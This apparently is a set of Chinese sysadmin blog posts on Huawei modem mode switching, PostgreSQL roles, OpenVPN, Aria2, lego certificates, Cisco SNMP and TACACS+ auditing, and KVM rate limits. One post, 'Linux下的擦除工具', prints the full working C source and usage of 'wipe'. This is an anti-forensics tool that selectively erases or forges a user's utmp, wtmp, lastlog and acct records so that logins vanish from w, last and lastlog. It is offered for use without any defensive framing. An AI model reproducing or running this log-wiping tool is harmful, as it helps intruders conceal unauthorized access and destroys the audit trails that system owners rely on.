voip的lsusb检测华为猫棒usb地址来回跳动

这不是要出国就提前搭建了一个voip的电话系统么,结果在使用的过程中,华为的猫棒居然出现地址来回跳动的问题。 正常情况下,lsusb的结果 lsusb Bus 001 Device 017: ID 12d1:1436 Huawei Technologies Co., Ltd. Broadband stick 过一阵子,或者持续几天后,地址就变了 lsusb Bus 001 Device 017: ID 12d1:1446 Huawei Technologies Co., Ltd. HSPA modem 看上面,vender id从1436变成了1446,名字也从stick变成了modem 由于这个usb设备是直通到kvm的freepbx虚机里面去的,这直接导致voip系统不能用了,可恶啊。 必须把它给固定下来,首先先从1446变回1436 yum -y install epel-release yum -y install use_modeswitch usb_modeswitch -v 12d1 -p 1446 -c "/usr/share/usb_modeswitch/12d1:1446" 变回来了不成,还得把它彻底固定下来 vi /lib/udev/rules.d/40-usb_modeswitch.rules #装了usb_modeswitch后居然已经自带了 # Generic entry for most Huawei devices, excluding Android phones ATTRS{idVendor}=="12d1", ATTRS{manufacturer}!="Android", ATTR{bInterfaceNumber}=="00", ATTR{bInterfaceClass}=="08", RUN+="usb_modeswitch '%b/%k'" shit,不管它,再次强行固定 vi /lib/udev/rules.d/40-usb_modeswitch.rules、 # Huawei, newer modems ATTR{idVendor}=="12d1", ATTR{idProduct}=="1446", RUN+="usb_modeswitch '%b/%k'" 这样就搞定了,得亏提前发现了这问题,否则跑到国外再发现,就晚了! ...

2024年2月16日

PostgreSQL的用户权限管理

公司选用了阿里云的PolarDB做数据库,这个东西其实就是Postgres增加了外挂,可以支持Oracle语法。 没办法,得仔细研究一下Postgres的用户管理了。 PostgreSQL权限架构是宝塔形结构 最上层是实例 实例中允许创建多个数据库 每个数据库中可以创建多个schema, 每个schema下面可以创建多个对象。 对象包括表、物化视图、操作符、索引、视图、序列、函数、… 等等。 上面schema中有个奇怪的东西,public,注意:是小写。 先总结:PUBLIC是缺省的权限,代表所有人的意思(是个角色)。 默认情况下,在创建数据库之后,允许PUBLIC角色(大写)连接,即允许任何人连接。 默认情况下,数据库在创建后,不允许除了超级用户和owner所有者之外的任何人在数据库中创建schema。 默认情况下,在创建数据库之后,会自动创建名为 public 的schema,这个schema的all权限已经赋予给PUBLIC角色(注意是大写),即允许任何人在里面创建对象。 schema级别的权限,包括允许查看schema中的对象(USAGE),以及允许在schema中创建对象(CREATE)。 默认情况下新建的schema的权限不会赋予给PUBLIC角色,因此除了超级用户和owner,任何人都没有权限查看schema中的对象或者在schema中新建对象。 举例来说,建了个库,又建了用户,没给这个用户赋予任何权限。缺省他就从PUBLIC角色继承了对库里的schema.pulic权限,可以连接到这个schema.pulic,并且在这里建临时表、建表、view等等对象,但是没办法建立其它schema。 PostgreSQL的模式(SCHEMA)可以看作是一个表的集合。 一个模式可以包含视图、索引、数据类型、函数和操作符等。 再来说角色: 在数据库中所有的权限都和角色挂钩。 角色和用户的唯一区别在于,角色是nologin的,而用户允许login,仅此而已。 而"PUBLIC"是一个特殊的角色,代表着所有人。 那又有一个问题: 每个PostgreSQL对象都有一个名为“所有者”的特殊角色。只有所有者才能执行某些操作,如 ALTER TABLE ,而你不能将这样的权限授予非所有者。 那不可能只有一个人可以alter表结构吧,我们可以使用角色继承来解决此问题。创建 table_owner 角色并且 GRANT table_owner TO user1, user2 (user1和user2继承table_owner),然后赋权 ALTER TABLE my_table OWNER TO table_owner 赋予table_owner所有者角色。现在表的所有者是 table_owner 了,但是因为 user1 和 user2 是该角色的成员,所以他们也具有继承权限来运行 ALTER TABLE了,如下图 。 啰嗦了这么多,除了修改pg_hba.conf,赋权的命令就两条,grant和revoke,看下图: 进入实战,首先从上到下都看一看,有什么库,有什么schema,有什么对象,有什么表,有什么索引,有什么角色: #推荐用psql来进行管理,有很多快捷键,navicat里面是没有的 #没有的话就装一个 yum install postgresql.x86_64 psql -h 10.8.2.61 -U admin #必用快捷键 #列出所有的库 \l #列出所有的schema \dn #看schema.public权限 \dn+ public #列出所有的对象(table, view, sequences) \d #列出所有的角色 \du #列出所有表 \dt #列出所有索引 \di #同样的sql select * from pg_roles; #看看能登录的用户有哪些 select * from pg_user; 那自顶向下开始: ...

2024年2月5日

Openvpn 的一些问题

一些Openvpn问题: 一、OpenVPN - ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2) 没有tun设备,建一个就行: mkdir -p /dev/net mknod /dev/net/tun c 10 200 chmod 600 /dev/net/tun 二、vpn进程掉了 加一个crontab,定时检测,没有就重启 */1 * * * * /usr/local/bin/vpn.sh cat /usr/local/bin/vpn.cn #!/bin/bash vpn_pid=$(ps ax|grep openvpn|grep -v grep|awk '{print $1}') if [[ ! -n "$vpn_pid" ]]; then datetime=$(date +"%Y%m%d %H:%M:%S") echo "Restart openvpn at $datetime" >> /tmp/r.txt sleep 5 /app/openvpn/sbin/openvpn --config /etc/openvpn/conf/client1.conf --daemon fi

2024年1月30日

Linux下的擦除工具

Linux下的日志擦除软件,无解释珍藏: gcc -O3 -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c wipe u root #w 命令擦掉在线的root wipe w root #last 命令擦掉root wipe l root #lastlog 命令擦掉root登录记录 源码如下: /* * Wipe v1.00. * * Written by The Crawler. * * Selectively wipe system logs. * * Usage: wipe [l,u,w] username * ex: wipe l user;wipe u user;wipe w user * * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x, * Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX. * compile with -DHAVE_LASTLOG_H -DNO_ACCT */ #include <sys/types.h> #include <sys/stat.h> #include <sys/uio.h> #ifndef NO_ACCT #include <sys/acct.h> #endif #include <utmp.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <ctype.h> #include <string.h> #include <pwd.h> #include <time.h> #include <stdlib.h> #ifdef HAVE_LASTLOG_H #include <lastlog.h> #endif #ifdef HAVE_UTMPX #include <utmpx.h> #endif /* * Try to use the paths out of the include files. * But if we can't find any, revert to the defaults. */ #ifndef UTMP_FILE #ifdef _PATH_UTMP #define UTMP_FILE _PATH_UTMP #else #define UTMP_FILE "/var/adm/utmp" #endif #endif #ifndef WTMP_FILE #ifdef _PATH_WTMP #define WTMP_FILE _PATH_WTMP #else #define WTMP_FILE "/var/adm/wtmp" #endif #endif #ifndef LASTLOG_FILE #ifdef _PATH_LASTLOG #define LASTLOG_FILE _PATH_LASTLOG #else #define LASTLOG_FILE "/var/adm/lastlog" #endif #endif #ifndef ACCT_FILE #define ACCT_FILE "/var/adm/pacct" #endif #ifdef HAVE_UTMPX #ifndef UTMPX_FILE #define UTMPX_FILE "/var/adm/utmpx" #endif #ifndef WTMPX_FILE #define WTMPX_FILE "/var/adm/wtmpx" #endif #endif /* HAVE_UTMPX */ #define BUFFSIZE 8192 /* * This function will copy the src file to the dst file. */ void copy_file(char *src, char *dst) { int fd1, fd2; int n; char buf[BUFFSIZE]; if ( (fd1 = open(src, O_RDONLY)) < 0 ) { fprintf(stderr, "ERROR: Opening %s during copy.\n", src); return; } if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) { fprintf(stderr, "ERROR: Creating %s during copy.\n", dst); return; } while ( (n = read(fd1, buf, BUFFSIZE)) > 0) if (write(fd2, buf, n) != n) { fprintf(stderr, "ERROR: Write error during copy.\n"); return; } if (n < 0) { fprintf(stderr, "ERROR: Read error during copy.\n"); return; } close(fd1); close(fd2); } /* * UTMP editing. */ void wipe_utmp(char *who, char *line) { int fd1; struct utmp ut; printf("Patching %s .... ", UTMP_FILE); fflush(stdout); /* * Open the utmp file. */ if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE); return; } /* * Copy utmp file excluding relevent entries. */ while ( read(fd1, &ut, sizeof(ut)) > 0) if ( !strncmp(ut.ut_name, who, strlen(who)) ) if (!line || (line && !strncmp(ut.ut_line, line, strlen(line)))) { bzero((char *) &ut, sizeof(ut)); lseek(fd1, (int) -sizeof(ut), SEEK_CUR); write(fd1, &ut, sizeof(ut)); } close(fd1); printf("Done.\n"); } /* * UTMPX editing if supported. */ #ifdef HAVE_UTMPX void wipe_utmpx(char *who, char *line) { int fd1; struct utmpx utx; printf("Patching %s .... ", UTMPX_FILE); fflush(stdout); /* * Open the utmp file and temporary file. */ if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE); return; } while ( (read(fd1, &utx, sizeof(utx)) ) > 0) if ( !strncmp(utx.ut_name, who, strlen(who)) ) if (!line || (line && !strncmp(utx.ut_line, line, strlen(line)))) { bzero((char *) &utx, sizeof(utx)); lseek(fd1, (int) -sizeof(utx), SEEK_CUR); write(fd1, &utx, sizeof(utx)); } close(fd1); printf("Done.\n"); } #endif /* * WTMP editing. */ void wipe_wtmp(char *who, char *line) { int fd1; struct utmp ut; printf("Patching %s .... ", WTMP_FILE); fflush(stdout); /* * Open the wtmp file and temporary file. */ if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE); return; } /* * Determine offset of last relevent entry. */ lseek(fd1, (long) -(sizeof(ut)), SEEK_END); while ( (read (fd1, &ut, sizeof(ut))) > 0) { if (!strncmp(ut.ut_name, who, strlen(who))) if (!line || (line && !strncmp(ut.ut_line, line, strlen(line)))) { bzero((char *) &ut, sizeof(ut)); lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR); write(fd1, &ut, sizeof(ut)); break; } lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR); } close(fd1); printf("Done.\n"); } /* * WTMPX editing if supported. */ #ifdef HAVE_UTMPX void wipe_wtmpx(char *who, char *line) { int fd1; struct utmpx utx; printf("Patching %s .... ", WTMPX_FILE); fflush(stdout); /* * Open the utmp file and temporary file. */ if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE); return; } /* * Determine offset of last relevent entry. */ lseek(fd1, (long) -(sizeof(utx)), SEEK_END); while ( (read (fd1, &utx, sizeof(utx))) > 0) { if (!strncmp(utx.ut_name, who, strlen(who))) if (!line || (line && !strncmp(utx.ut_line, line, strlen(line)))) { bzero((char *) &utx, sizeof(utx)); lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR); write(fd1, &utx, sizeof(utx)); break; } lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR); } close(fd1); printf("Done.\n"); } #endif /* * LASTLOG editing. */ void wipe_lastlog(char *who, char *line, char *timestr, char *host) { int fd1; struct lastlog ll; struct passwd *pwd; struct tm *tm; char str[4]; printf("Patching %s .... ", LASTLOG_FILE); fflush(stdout); tm = (struct tm *) malloc( sizeof(struct tm) ); /* * Open the lastlog file. */ if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE); return; } if ( (pwd = getpwnam(who)) == NULL) { fprintf(stderr, "ERROR: Can't find user in passwd.\n"); return; } lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0); bzero((char *) &ll, sizeof(ll)); if (line) strncpy(ll.ll_line, line, strlen(line)); if (timestr) { /* YYMMddhhmm */ if (strlen(timestr) != 10) { fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n"); return; } /* * Extract Times. */ str[2] = 0; str[0] = timestr[0]; str[1] = timestr[1]; tm->tm_year = atoi(str); str[0] = timestr[2]; str[1] = timestr[3]; tm->tm_mon = atoi(str) - 1; str[0] = timestr[4]; str[1] = timestr[5]; tm->tm_mday = atoi(str); str[0] = timestr[6]; str[1] = timestr[7]; tm->tm_hour = atoi(str); str[0] = timestr[8]; str[1] = timestr[9]; tm->tm_min = atoi(str); tm->tm_sec = 0; ll.ll_time = mktime(tm); } if (host) strncpy(ll.ll_host, host, sizeof(ll.ll_host)); write(fd1, (char *) &ll, sizeof(ll)); close(fd1); printf("Done.\n"); } #ifndef NO_ACCT /* * ACCOUNT editing. */ void wipe_acct(char *who, char *line) { int fd1, fd2; struct acct ac; char ttyn[50]; struct passwd *pwd; struct stat sbuf; char *tmpf; printf("Patching %s .... ", ACCT_FILE); fflush(stdout); /* * Open the acct file and temporary file. */ if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE); return; } /* * Grab a unique temporary filename. */ tmpf = tmpnam((char *) NULL); if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) { fprintf(stderr, "ERROR: Opening tmp ACCT file\n"); return; } if ( (pwd = getpwnam(who)) == NULL) { fprintf(stderr, "ERROR: Can't find user in passwd.\n"); return; } /* * Determine tty's device number */ strcpy(ttyn, "/dev/"); strcat(ttyn, line); if (stat(ttyn, &sbuf) < 0) { fprintf(stderr, "ERROR: Determining tty device number.\n"); return; } while ( read(fd1, &ac, sizeof(ac)) > 0 ) { if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) ) write(fd2, &ac, sizeof(ac)); } close(fd1); close(fd2); copy_file(tmpf, ACCT_FILE); if ( unlink(tmpf) < 0 ) { fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n"); return; } printf("Done.\n"); } #endif void usage() { printf("USAGE: wipe [ u|w|l|a ] ...options...\n"); printf("\n"); printf("UTMP editing:\n"); printf(" Erase all usernames : wipe u [username]\n"); printf(" Erase one username on tty: wipe u [username] [tty]\n"); printf("\n"); printf("WTMP editing:\n"); printf(" Erase last entry for user : wipe w [username]\n"); printf(" Erase last entry on tty : wipe w [username] [tty]\n"); printf("\n"); printf("LASTLOG editing:\n"); printf(" Blank lastlog for user : wipe l [username]\n"); printf(" Alter lastlog entry : wipe l [username] [tty] [time] [host]\n"); printf(" Where [time] is in the format [YYMMddhhmm]\n"); printf("\n"); #ifndef NO_ACCT printf("ACCT editing:\n"); printf(" Erase acct entries on tty : wipe a [username] [tty]\n"); #endif exit(1); } int main(int argc, char *argv[]) { char c; if (argc < 3) usage(); /* * First character of first argument determines which file to edit. */ c = toupper(argv[1][0]); /* * UTMP editing. */ switch (c) { /* UTMP */ case 'U' : if (argc == 3) wipe_utmp(argv[2], (char *) NULL); if (argc ==4) wipe_utmp(argv[2], argv[3]); #ifdef HAVE_UTMPX if (argc == 3) wipe_utmpx(argv[2], (char *) NULL); if (argc == 4) wipe_utmpx(argv[2], argv[3]); #endif break; /* WTMP */ case 'W' : if (argc == 3) wipe_wtmp(argv[2], (char *) NULL); if (argc == 4) wipe_wtmp(argv[2], argv[3]); #ifdef HAVE_UTMPX if (argc == 3) wipe_wtmpx(argv[2], (char *) NULL); if (argc == 4) wipe_wtmpx(argv[2], argv[3]); #endif break; /* LASTLOG */ case 'L' : if (argc == 3) wipe_lastlog(argv[2], (char *) NULL, (char *) NULL, (char *) NULL); if (argc == 4) wipe_lastlog(argv[2], argv[3], (char *) NULL, (char *) NULL); if (argc == 5) wipe_lastlog(argv[2], argv[3], argv[4], (char *) NULL); if (argc == 6) wipe_lastlog(argv[2], argv[3], argv[4], argv[5]); break; #ifndef NO_ACCT /* ACCT */ case 'A' : if (argc != 4) usage(); wipe_acct(argv[2], argv[3]); break; #endif } return(0); }

2024年1月29日

Aria2下载网剧并极速上传到百度网盘

南瓜视频最近被整改,一时陷入片荒。 家里的电视机好不容易禁止升级,能用ES浏览器,挂上百度网盘,看存在里面的电影。 但是,百度网盘现在基本是磁力和BT都失效了,没办法,只能想个办法看怎么下载并上传到百度网盘了。 一、Aria2,用来下载BT和磁力文件。 安装Aria2,这个非常简单,就一个执行文件和一堆配置文件就行了。 wget https://github.com/P3TERX/Aria2-Pro-Core/releases/download/1.35.0_2021.02.19/aria2-1.35.0-static-linux-amd64.tar.gz tar zxvf aria2-1.35.0-static-linux-amd64.tar.gz mkdir /root/.aria2 cd /root/.aria2 wget https://p3terx.github.io/aria2.conf/aria2.conf wget https://p3terx.github.io/aria2.conf/clean.sh wget https://p3terx.github.io/aria2.conf/core wget https://p3terx.github.io/aria2.conf/script.conf wget https://p3terx.github.io/aria2.conf/rclone.env wget https://p3terx.github.io/aria2.conf/upload.sh wget https://p3terx.github.io/aria2.conf/delete.sh wget https://p3terx.github.io/aria2.conf/dht.dat wget https://p3terx.github.io/aria2.conf/dht6.dat wget https://p3terx.github.io/aria2.conf/move.sh wget https://p3terx.github.io/aria2.conf/LICENSE touch aria2.session 注意这里是root用户运行,如果要用其他用户,修改/root/.aria2/aria2.conf里面的/root就行。 然后再造个systemctl的启动控制文件: cat <<EOF>>/etc/systemd/system/aria2.service [Unit] Description=aria2 Service After=network.target Wants=network.target [Service] Type=simple ExecStart=/root/aria2c --conf-path=/root/.aria2/aria2.conf Restart=on-failure # Don't restart in the case of configuration error RestartPreventExitStatus=23 [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl start aria2 注意,如果有防火墙,注意打开以下三个端口。 ...

2024年1月24日

用lego来代替acme申请免费ssl证书

amce申请证书实在是太烦了,对于一台只有1cpu 512m的vps来说,装这个东西简直就是费时费劲。 好在有人干脆开发了一个go语言的工具lego,这东西完全能够替代掉ACME https://github.com/go-acme/lego/ 只有一个执行文件,极简主义: 申请证书一句话: lego --email="foo@bar.com" --domains="example.com" --http run 回答一下Yes 然后生成的证书都放在.lego/certificates/目录下 续费也是一句话 lego --email="foo@bar.com" --domains="example.com" --http renew 及其简单,也方便搬迁。生成的证书crt是带证书链条的 申请好就可以装trojan了。实在是方便 如果DNS是托管在阿里云上,可以开一个阿里ram账号,然后用dns的api验证 ALICLOUD_ACCESS_KEY=aaaaaaaa ALICLOUD_SECRET_KEY=bbbbbbbb \ ./lego --email admin@ddky.com --dns alidns --domains *.ddky.com run 如果DNS是托管在namesilo上,同样可以开一个api的key,时间一定要放长,否则不生效! NAMESILO_API_KEY=ccccc NAMESILO_PROPAGATION_TIMEOUT=3600 NAMESILO_POLLING_INTERVAL=120 NAMESILO_TTL=3600 \ ./lego --email zhangranrui@gmail.com --dns namesilo --domains *.rendoumi.com run

2024年1月24日

Cisco snmpv3的设置

https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb4127-configure-simple-network-management-protocol-snmp-on-rv320-a.html 这篇说的很详细了 按图索骥即可 snmpwalk v3参数解释: -v 1|2c|3 specifies SNMP version to use -u USER-NAME set security name (e.g. bert) -l LEVEL set security level (noAuthNoPriv|authNoPriv|authPriv) -a PROTOCOL set authentication protocol (MD5|SHA) -A PASSPHRASE set authentication protocol pass phrase -x PROTOCOL set privacy protocol (DES|AES) -X PASSPHRASE set privacy protocol pass phrase 简单说,v3支持两重加密,要输入两个密码 snmpset -v3 -u Cisco -l authPriv -a MD5 -A FuckCisco -x DES -X zhenbushidongxi 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2

2024年1月24日

Cisco交换机通过snmp来重启

这是个什么命题?!没办法,有时候需要用到这种方式 首先去cisco交换机配置: snmp-server community private RW snmp-server system-shutdown 然后在linux机器上执行: # snmpset -v 2c -c private 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2 !--- This is an explanation of the variables that this command uses. 10.16.99.55 = ip address of your router private = R/W SNMP Community string of your router .1.3.6.1.4.1.9.2.9.9.0 = tsMsgSend SNMP MIB OID i = Integer as defined SYNTAX in the MIB 2 = reload command as defined in the MIB 最后,Fuck Cisco!!!

2024年1月24日

Cisco 路由器的操作审计

我们用的是Cisco ASR 1001-X这个路由器来做BGP的。 前两天做多线BGP的时候,也不知道是遇到Bug了,还是操作顺序有问题,大断网,然后重启路由器。 事后想回顾的时候也是各自有各自的记录,细节语焉不详…… 干脆搭建一个日志服务器来记录下来所有的操作,便于事后复盘 首先在CentOS 7 的系统上安装TACACS+软件,居然在7上用的是6的软件,这点也很怪异 cat << EOF >/etc/yum.repos.d/tacacs-plus.repo [tacacs-plus] name=Tacacs Plus baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/ enabled=0 gpgcheck=1 gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro EOF 安装tacacs_plus yum –enablerepo=tacacs-plus install tac_plus 注意,我们只是用tacacs_plus来记录操作日志,不是用来限制用户登录和权限的,所以只需要关注两行: vi /etc/tac_plus.conf key = "FuckFuckFuck" accounting file = /var/log/tac_acct.log ...... 启动,centos 6 没有systemctl,只有service service tac_plus start ok, tacacs+配置好了,继续,去Cisco路由器上配 Router1#configure terminal Enter configuration commands, one per line. End with CNTL/Z. Router1(config)#tacacs-server host 192.168.171.13 Router1(config)#tacacs-server timeout 10 Router1(config)#tacacs-server key FuckFuckFuck Router1(config)#aaa new-model Router1(config)#aaa accounting commands 0 default stop-only group tacacs+ Router1(config)#aaa accounting commands 1 default stop-only group tacacs+ Router1(config)#aaa accounting commands 15 default stop-only group tacacs+ Router1(config)#end Router1# “0” 用来审计exit和end命令,这样可以明确知道用户的登录。 ...

2024年1月24日

KVM的虚机如何限速

需要开一台kvm的测试机,但是需要限制速度,10M 我们的物理机使用了bridge,以及vlan tag,所以虚机的网卡是br0.141 查了一圈文档 <interface type='bridge'> <mac address='52:54:00:db:4c:5f'/> <source bridge='br0.141'/> <bandwidth> <inbound average='1250' peak='1250' burst='1250'/> <outbound average='1250' peak='1250' burst='1250'/> </bandwidth> <model type='virtio'/> 注意限速的单位:是kilobyte per second 那么: 1250 kilobyte per second, KB/s = 10 Mbps = 1.25 MB/s 10 Mbps就是通常意义上的网速,/8=1.25 MB/s,就是机器上用下载软件比如迅雷下载,看到的速度(1.25 MB/s)。

2024年1月24日